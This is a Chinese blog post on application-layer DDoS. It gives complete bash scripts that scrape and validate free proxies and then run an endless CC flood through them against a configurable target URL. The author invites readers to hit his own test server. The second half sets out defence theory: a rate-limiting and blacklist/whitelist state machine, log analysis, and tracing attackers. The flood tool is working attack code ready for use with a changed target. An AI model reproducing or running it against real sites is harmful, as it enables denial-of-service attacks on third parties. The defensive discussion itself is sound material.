DDoS攻防战 (二) :CC攻击工具实现与防御理论

 

故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已

知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败

——孙子兵法·谋攻

 

  我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。

  第一步:获取大量可用代理ip:port列表

  网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。

1 grab_proxy.sh
 1 #!/bin/bash
 2 
 3 #get proxy list
 4 declare proxyListFile="proxy.txt"
 5 declare tmpFile=`mktemp`
 6 declare url
 7 declare line
 8 declare times
 9 declare ip
10 declare port
11 declare i
12 declare j
13 declare mod
14 
15 function quit() {
16     rm -f $tmpFile
17     exit "$1"
18 }
19 
20 echo "get proxy list... please wait..."
21 
22 if [ -r "$proxyListFile" ]
23 then
24   rm -f $proxyListFile
25 fi
26 
27 touch $proxyListFile
28 
29 for url in  " http://www.youdaili.cn/Daili/guonei/2215.html " \
30             " http://www.youdaili.cn/Daili/guonei/2215_2.html" \
31             " http://www.youdaili.cn/Daili/guonei/2215_3.html" \
32             " http://www.youdaili.cn/Daili/guonei/2215_4.html "
33 do
34     if GET "$url" > $tmpFile
35     then
36         grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
37         | sort -n | uniq | awk -F: '{ printf("%-15s  %s \n",$1,$2); }' >> $proxyListFile
38     else
39         exec 1>&2
40         echo "error: get proxy list fail! chech the url:$url or the network"
41         quit 1
42     fi
43 done
44 
45 echo "done. total `cat $proxyListFile | wc -l` proxy"
46 
47 quit 0
48 #exit
View Code

  参数:

  declare proxyListFile="proxy.txt"  #抓取到的代理ip port对所存放的文件路径

1 check_proxy.sh
 1 #!/bin/bash
 2 
 3 #get proxy list
 4 declare check_threads=10
 5 declare line
 6 declare times
 7 declare ip
 8 declare port
 9 declare i
10 declare j
11 declare mod
12 
13 function quit() {
14     exit "$1"
15 }
16 
17 #echo "start check proxy's functionality..."
18 
19 #retarget the input file to stdin
20 if [ "$#" -gt "0" ]
21 then
22     exec 0<$1
23 else
24     exec 1>&2
25     echo "usage: bash $0 proxyListFile.txt"
26     echo "error: must have one input arg"
27     quit 1
28 fi
29 
30 #check proxy's functionality
31 times=0
32 while read line
33 do
34     times=$((times+1))
35     j=0
36     for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
37     do
38         j=$((j+1))
39         if [ "$j" -eq 1 ]
40         then
41             ip=$i
42         else
43             port=$i
44         fi
45     done
46     #echo "times=$times ip=$ip port=$port"
47     # start test
48     if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null
49     then 
50         echo "$ip $port"
51         echo ":) ip=$ip port=$port " &>/dev/null
52     else
53         echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2
54     fi &
55     mod=$((times%check_threads))
56     if [ "$mod" -eq "0" ]
57     then
58         wait
59     fi
60 done
61 
62 #close the fd of input file
63 exec 0>&-
64 quit 0
65 #exit
View Code

  参数:

  declare check_threads=10 #验证代理可用性时的并发数,看一下代码就会发现,我们使用的是GET http://baidu.com方法,所以,并发数请不要也太高 :) 除非你的目标就是......

  总结:应征入伍的士兵共计600人,经过考核的共计449人,如果你还想招募更多的士兵,奉劝一句,苦海无边,回头是岸。
 第二步:吹响战争号角

 笔者在一台VPS上建立了一个薄弱的靶机,各位读者请不要太暴力,测试一下就可以了,地址 http://eecs.cc:8080/

  笔者把这么重要的信息都放出来了,读者请点个赞吧  :)

1 cc.sh
 1 #!/bin/bash
 2 
 3 declare target_url="http://eecs.cc:8080/"
 4 declare get_timeout_sec=5
 5 declare line
 6 declare times
 7 declare ip
 8 declare port
 9 declare i
10 declare j
11 
12 function quit() {
13     exit "$1"
14 }
15 
16 #retarget the input file to stdin
17 if ! [ "$#" -gt "0" ]
18 then
19     exec 1>&2
20     echo "challenge collapsar attack -- cc attack"
21     echo "usage: bash $0 proxyListFile.txt"
22     echo "error: must have one input arg"
23     quit 1
24 fi
25 
26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
27 echo "command: target: $target_url"
28 echo "command: start challenge collapsar attack   :)   amazing..."
29 
30 exec 0<$1
31 #start challenge collapsar attack
32 
33 while true
34 do
35     times=0
36     exec 0<&-
37     exec 0<$1
38     while read line
39     do
40         times=$((times+1))
41         j=0
42         for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
43         do
44             j=$((j+1))
45             if [ "$j" -eq 1 ]
46             then
47                 ip=$i
48             else
49                 port=$i
50             fi
51         done
52         echo "times=$times ip=$ip port=$port"
53         #single soldier attack
54         if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 
55         then 
56             echo "soldier$times attack $target_url :)"
57         else
58             echo "soldier$times attack $target_url miss"
59         fi &
60     done
61     wait
62 done
63 
64 #close the fd of input file
65 exec 0>&-
66 quit 0
67 #exit
View Code

  读者可自行尝试攻击这个站点,然后使用浏览器访问查看服务器网络状况,此时大量连接处于TIME_WAIT状态,参考TCP状态机,这一状态为主动关闭一方的最终等待状态。

  请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来

   

  应用层DDoS的防御理论:

  问题模型描述:

  每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:

  用户资源使用频率=使用的服务器总资源量/s

  命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享ip的情况,这就需要日常用户访问统计,以得到忠实用户ip白名单。

  命题二:资源使用频率持续异常的,可断定为访问异常的用户。

 

  防御体系状态机:

  1.在系统各项资源非常宽裕时,向所有ip提供服务,每隔一段时间释放一部分临时黑名单中的ip成员;

  2.在系统资源消耗达到某一阈值时,降低Syn包接受速率,循环:分析最近时间的日志,并将访问异常的ip加入临时黑名单;

  3.若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态4;

  4.最终防御方案,使用忠实用户ip白名单、异常访问ip黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态1。

 

 上述的防御状态机,对于单个攻击IP高并发的DDOS,变化到状态3时,效果就完全体现出来了,但如果防御状态机进行到4状态,则有如下两种可能:

  1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击; 

  2.站点突然间有了很多访问正常的新用户。

 建议后续工作:

  保守:站点应尽快进行服务能力升级。

  积极:尽所能,追溯攻击者。 

  

  追溯攻击者:
    CC:proxy-forward-from-ip
    单个IP高并发的DDOS:找到访问异常的、高度可疑的ip列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)
    单个IP低并发的DDOS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分ip列表

   追溯攻击者的过程中,snat与web proxy增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。

      

  防御者:

    1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
    2.历史日志的保存、分析
    3.对当前系统进行严格安全审计
    4.上报公安相关部分,努力追溯攻击者
    5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制

    6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

  对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

    1.分析每个页面的平均访问频率

    2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

    3.得到对访问异常页面的访问异常ip列表

    4.对日志分析得到忠实用户IP白名单

    5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点

 

  本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。

  如有问题或者建议,欢迎留言讨论 :)

   

附录:

  DDoS攻防战 (一) : 概述 

 

posted @ 2014-06-04 13:13  燕云  阅读(4896)  评论(1编辑  收藏  举报